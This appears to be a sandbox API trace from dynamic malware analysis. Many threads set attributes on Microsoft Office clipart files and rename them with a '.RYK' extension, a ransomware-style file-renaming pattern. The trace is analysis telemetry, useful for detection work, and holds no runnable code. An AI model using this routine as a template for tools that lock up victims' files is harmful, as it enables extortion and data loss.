	[0206.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF", dwFileAttributes=0x80) returned 0
	[0206.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.790] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1836
	os_tid = 0x22a8

	[0206.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF", dwFileAttributes=0x80) returned 0
	[0206.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.788] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1837
	os_tid = 0x22ac

	[0206.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF", dwFileAttributes=0x80) returned 0
	[0206.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.786] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.787] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1838
	os_tid = 0x22b0

	[0206.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF", dwFileAttributes=0x80) returned 0
	[0206.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.785] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1839
	os_tid = 0x22b4

	[0206.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF", dwFileAttributes=0x80) returned 0
	[0206.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.782] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1840
	os_tid = 0x22b8

	[0206.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF", dwFileAttributes=0x80) returned 0
	[0206.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.780] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1841
	os_tid = 0x22bc

	[0206.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG", dwFileAttributes=0x80) returned 0
	[0206.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.778] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1842
	os_tid = 0x22c0

	[0206.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF", dwFileAttributes=0x80) returned 0
	[0206.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.776] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1843
	os_tid = 0x22c4

	[0206.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG", dwFileAttributes=0x80) returned 0
	[0206.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.774] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.774] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1844
	os_tid = 0x22c8

	[0206.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG", dwFileAttributes=0x80) returned 0
	[0206.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.475] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1845
	os_tid = 0x22cc

	[0206.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF", dwFileAttributes=0x80) returned 0
	[0206.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.476] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.476] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1886
	os_tid = 0x238c

	[0207.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG", dwFileAttributes=0x80) returned 0
	[0207.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.649] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1887
	os_tid = 0x2390

	[0207.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF", dwFileAttributes=0x80) returned 0
	[0207.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.650] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1888
	os_tid = 0x2394

	[0207.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG", dwFileAttributes=0x80) returned 0
	[0207.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1889
	os_tid = 0x2398

	[0207.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF", dwFileAttributes=0x80) returned 0
	[0207.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.661] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1890
	os_tid = 0x239c

	[0207.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG", dwFileAttributes=0x80) returned 0
	[0207.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.664] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1891
	os_tid = 0x23a0

	[0207.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG", dwFileAttributes=0x80) returned 0
	[0207.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.665] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.665] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1892
	os_tid = 0x23a4

	[0207.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG", dwFileAttributes=0x80) returned 0
	[0207.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.666] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1893
	os_tid = 0x23a8

	[0207.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG", dwFileAttributes=0x80) returned 0
	[0207.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.667] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1894
	os_tid = 0x23ac

	[0207.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF", dwFileAttributes=0x80) returned 0
	[0207.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.669] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1895
	os_tid = 0x23b0

	[0207.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF", dwFileAttributes=0x80) returned 0
	[0207.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.662] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1902
	os_tid = 0x23b4

	[0208.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG", dwFileAttributes=0x80) returned 0
	[0208.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.747] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.747] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1903
	os_tid = 0x23e4

	[0208.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG", dwFileAttributes=0x80) returned 0
	[0208.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.087] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1904
	os_tid = 0x23e8

	[0208.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG", dwFileAttributes=0x80) returned 0
	[0208.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.088] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1905
	os_tid = 0x23ec

	[0208.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF", dwFileAttributes=0x80) returned 0
	[0208.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.131] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1906
	os_tid = 0x23f0

	[0208.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF", dwFileAttributes=0x80) returned 0
	[0208.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0209.090] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0209.090] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1907
	os_tid = 0x23f4

